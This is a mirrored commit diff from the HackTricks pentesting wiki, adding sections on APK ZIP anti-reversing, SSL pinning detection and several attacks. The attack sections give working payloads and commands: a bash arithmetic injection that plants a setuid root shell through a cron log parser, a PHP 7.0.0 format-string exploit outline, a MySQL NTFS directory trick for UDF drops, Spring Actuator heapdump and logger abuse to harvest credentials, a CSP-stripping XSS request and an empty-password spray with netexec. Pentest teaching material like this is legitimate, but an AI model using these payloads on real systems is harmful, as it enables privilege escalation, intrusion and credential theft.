mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
3a5899d29b
@ -236,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
|
@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud
|
||||
|
||||
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
|
||||
|
||||
---
|
||||
|
||||
## Anti-reversing tricks in APKs using manipulated ZIP headers
|
||||
|
||||
Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are:
|
||||
|
||||
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||
- Abusing large/custom Extra fields to confuse parsers
|
||||
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
|
||||
|
||||
### 1) Fake encryption (GPBF bit 0 set) without real crypto
|
||||
|
||||
Symptoms:
|
||||
- `jadx-gui` fails with errors like:
|
||||
|
||||
```
|
||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||
```
|
||||
- `unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`:
|
||||
|
||||
```bash
|
||||
unzip sample.apk
|
||||
[sample.apk] classes3.dex password:
|
||||
skipping: classes3.dex incorrect password
|
||||
skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password
|
||||
skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password
|
||||
skipping: classes2.dex incorrect password
|
||||
```
|
||||
|
||||
Detection with zipdetails:
|
||||
|
||||
```bash
|
||||
zipdetails -v sample.apk | less
|
||||
```
|
||||
|
||||
Look at the General Purpose Bit Flag for local and central headers. A telltale value is bit 0 set (Encryption) even for core entries:
|
||||
|
||||
```
|
||||
Extract Zip Spec 2D '4.5'
|
||||
General Purpose Flag 0A09
|
||||
[Bit 0] 1 'Encryption'
|
||||
[Bits 1-2] 1 'Maximum Compression'
|
||||
[Bit 3] 1 'Streamed'
|
||||
[Bit 11] 1 'Language Encoding'
|
||||
```
|
||||
|
||||
Heuristic: If an APK installs and runs on-device but core entries appear "encrypted" to tools, the GPBF was tampered with.
|
||||
|
||||
Fix by clearing GPBF bit 0 in both Local File Headers (LFH) and Central Directory (CD) entries. Minimal byte-patcher:
|
||||
|
||||
```python
|
||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||
import struct, sys
|
||||
|
||||
SIG_LFH = b"\x50\x4b\x03\x04" # Local File Header
|
||||
SIG_CDH = b"\x50\x4b\x01\x02" # Central Directory Header
|
||||
|
||||
def patch_flags(buf: bytes, sig: bytes, flag_off: int):
|
||||
out = bytearray(buf)
|
||||
i = 0
|
||||
patched = 0
|
||||
while True:
|
||||
i = out.find(sig, i)
|
||||
if i == -1:
|
||||
break
|
||||
flags, = struct.unpack_from('<H', out, i + flag_off)
|
||||
if flags & 1: # encryption bit set
|
||||
struct.pack_into('<H', out, i + flag_off, flags & 0xFFFE)
|
||||
patched += 1
|
||||
i += 4 # move past signature to continue search
|
||||
return bytes(out), patched
|
||||
|
||||
if __name__ == '__main__':
|
||||
inp, outp = sys.argv[1], sys.argv[2]
|
||||
data = open(inp, 'rb').read()
|
||||
data, p_lfh = patch_flags(data, SIG_LFH, 6) # LFH flag at +6
|
||||
data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8
|
||||
open(outp, 'wb').write(data)
|
||||
print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
|
||||
```
|
||||
|
||||
Usage:
|
||||
|
||||
```bash
|
||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||
```
|
||||
|
||||
You should now see `General Purpose Flag 0000` on core entries and tools will parse the APK again.
|
||||
|
||||
### 2) Large/custom Extra fields to break parsers
|
||||
|
||||
Attackers stuff oversized Extra fields and odd IDs into headers to trip decompilers. In the wild you may see custom markers (e.g., strings like `JADXBLOCK`) embedded there.
|
||||
|
||||
Inspection:
|
||||
|
||||
```bash
|
||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||
```
|
||||
|
||||
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
|
||||
|
||||
DFIR heuristics:
|
||||
- Alert when Extra fields are unusually large on core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Treat unknown Extra IDs on those entries as suspicious.
|
||||
|
||||
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
|
||||
|
||||
```bash
|
||||
mkdir /tmp/apk
|
||||
unzip -qq normalized.apk -d /tmp/apk
|
||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||
```
|
||||
|
||||
### 3) File/Directory name collisions (hiding real artifacts)
|
||||
|
||||
A ZIP can contain both a file `X` and a directory `X/`. Some extractors and decompilers get confused and may overlay or hide the real file with a directory entry. This has been observed with entries colliding with core APK names like `classes.dex`.
|
||||
|
||||
Triage and safe extraction:
|
||||
|
||||
```bash
|
||||
# List potential collisions (names that differ only by trailing slash)
|
||||
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
|
||||
|
||||
# Extract while preserving the real files by renaming on conflict
|
||||
unzip normalized.apk -d outdir
|
||||
# When prompted:
|
||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||
# new name: unk_classes.dex
|
||||
```
|
||||
|
||||
Programmatic detection post-fix:
|
||||
|
||||
```python
|
||||
from zipfile import ZipFile
|
||||
from collections import defaultdict
|
||||
|
||||
with ZipFile('normalized.apk') as z:
|
||||
names = z.namelist()
|
||||
|
||||
collisions = defaultdict(list)
|
||||
for n in names:
|
||||
base = n[:-1] if n.endswith('/') else n
|
||||
collisions[base].append(n)
|
||||
|
||||
for base, variants in collisions.items():
|
||||
if len(variants) > 1:
|
||||
print('COLLISION', base, '->', variants)
|
||||
```
|
||||
|
||||
Blue-team detection ideas:
|
||||
- Flag APKs whose local headers mark encryption (GPBF bit 0 = 1) yet install/run.
|
||||
- Flag large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`).
|
||||
- Flag path-collisions (`X` and `X/`) specifically for `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
- [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper)
|
||||
- [zipdetails (Archive::Zip script)](https://metacpan.org/pod/distribution/Archive-Zip/scripts/zipdetails)
|
||||
- [ZIP File Format Specification (PKWARE APPNOTE.TXT)](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -416,6 +416,30 @@ Read the following page for more wildcard exploitation tricks:
|
||||
wildcards-spare-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Bash arithmetic expansion injection in cron log parsers
|
||||
|
||||
Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
|
||||
|
||||
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
|
||||
|
||||
- Typical vulnerable pattern:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# Example: parse a log and "sum" a count field coming from the log
|
||||
while IFS=',' read -r ts user count rest; do
|
||||
# count is untrusted if the log is attacker-controlled
|
||||
(( total += count )) # or: let "n=$count"
|
||||
done < /var/www/app/log/application.log
|
||||
```
|
||||
|
||||
- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
|
||||
```bash
|
||||
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
|
||||
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
|
||||
# When the root cron parser evaluates (( total += count )), your command runs as root.
|
||||
```
|
||||
|
||||
### Cron script overwriting and symlink
|
||||
|
||||
If you **can modify a cron script** executed by root, you can get a shell very easily:
|
||||
@ -1682,6 +1706,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
- [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N
|
||||
|
||||
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
|
||||
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
Usage
|
||||
```bash
|
||||
# Basic
|
||||
python sslpindetect.py -f app.apk -a apktool.jar
|
||||
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
|
||||
Example pattern rules (JSON)
|
||||
Use or extend signatures to detect proprietary/custom pinning styles. You can load your own JSON and scan at scale.
|
||||
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
"Lcom/squareup/okhttp/CertificatePinner;",
|
||||
"Lokhttp3/CertificatePinner;",
|
||||
"setCertificatePinner"
|
||||
],
|
||||
"TrustManager Override": [
|
||||
"Ljavax/net/ssl/X509TrustManager;",
|
||||
"checkServerTrusted"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Notes and tips
|
||||
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Typical detection targets to triage next:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
|
||||
|
||||
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
|
||||
@ -799,6 +855,9 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
|
||||
## Yet to try
|
||||
|
||||
|
@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
|
||||
#### Windows tip: create directories with NTFS ADS from SQL
|
||||
|
||||
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:
|
||||
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
|
||||
This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
|
||||
|
||||
### Extracting MySQL credentials from files
|
||||
|
||||
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
|
||||
@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
|
||||
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V
|
||||
|
||||
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
|
||||
|
||||
Minimal repro vulnerable pattern:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
|
||||
Exploitation outline (from the reference):
|
||||
- Leak addresses via `%p` in the class name to find a writable target:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
|
||||
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
|
||||
|
||||
Notes:
|
||||
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
|
||||
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
|
||||
|
||||
## References
|
||||
|
||||
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -68,4 +68,80 @@ Connection: close
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
|
||||
|
||||
- Download and quick triage:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Deeper analysis with VisualVM and OQL:
|
||||
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automated extraction with JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Typical high-value findings:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
|
||||
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
|
||||
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
|
||||
|
||||
Tips:
|
||||
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
|
||||
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
|
||||
|
||||
- Enumerate and crank up sensitive loggers:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Find where logs are written and harvest:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
|
||||
|
||||
Notes:
|
||||
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
|
||||
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -693,6 +693,27 @@ Then, the technique consists basically in **filling the response buffer with war
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kill CSP via max_input_vars (headers already sent)
|
||||
|
||||
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
|
||||
Example:
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
|
||||
# Exceed max_input_vars to force warnings before header() → CSP stripped
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
|
||||
### Rewrite Error Page
|
||||
|
||||
From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.
|
||||
@ -837,6 +858,7 @@ navigator.credentials.store(
|
||||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -753,6 +753,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -260,6 +260,7 @@ function find_vals($init_val) {
|
||||
## More References
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -166,6 +166,10 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
@ -335,5 +339,6 @@ How to avoid file type detections by uploading a valid JSON file even if not all
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,6 +5,3 @@
|
||||
**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -103,6 +103,44 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
|
||||
### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
|
||||
|
||||
A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.
|
||||
|
||||
Workflow:
|
||||
- Enumerate users (RID brute via SAMR) to build the target list:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
|
||||
- Spray an empty password and keep going on hits to capture accounts that must change at next logon:
|
||||
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
|
||||
